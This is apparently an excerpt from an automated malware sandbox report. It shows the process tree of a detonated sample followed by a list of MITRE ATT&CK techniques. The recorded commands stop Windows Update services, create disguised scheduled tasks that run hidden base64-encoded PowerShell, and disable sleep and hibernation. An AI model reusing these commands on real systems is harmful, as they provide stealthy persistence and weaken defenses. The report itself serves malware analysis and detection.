    3⤵
    - Launches sc.exe
    PID:812
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1608
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2216
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\xyvvnnvseiqa.xml"
  2⤵
  - Creates scheduled task(s)
  PID:2756
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2092
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2684
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1664
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2836
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1964

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1164628316243242190-1652775545659030840-18780170402030922228-1928158500-291098196"
1⤵
PID:2540

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:2592

C:\Windows\system32\taskeng.exe
taskeng.exe {3948267D-22EC-4190-B8F6-5AF03688733E} S-1-5-21-607259312-1573743425-2763420908-1000:NGTQGRML\Admin:Interactive:[1]
1⤵
PID:568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:2796
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1056
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:896
- C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
  2⤵
  PID:940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  PID:1332

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231002102501.log C:\Windows\Logs\CBS\CbsPersist_20231002102501.cab
1⤵
PID:2228

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:1840

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:2956

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "596161899-2132644261247324929-359099907287089915-955035088-18961399201967125276"
1⤵
PID:2180

C:\Windows\system32\taskeng.exe
taskeng.exe {7E3B67BB-FE4C-4C6F-9665-9C327A17819F} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2536
- C:\Users\Admin\AppData\Local\Temp\mgmyLlQChgHxZYvqY\rqBhQmxZHCWBdIf\VIzvkiB.exe
  C:\Users\Admin\AppData\Local\Temp\mgmyLlQChgHxZYvqY\rqBhQmxZHCWBdIf\VIzvkiB.exe F9 /NFsite_idkQN 385118 /S
  2⤵
  PID:1252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "giNbhRksX" /SC once /ST 05:30:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "giNbhRksX"
    3⤵
    PID:1268

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

T1012

System Information Discovery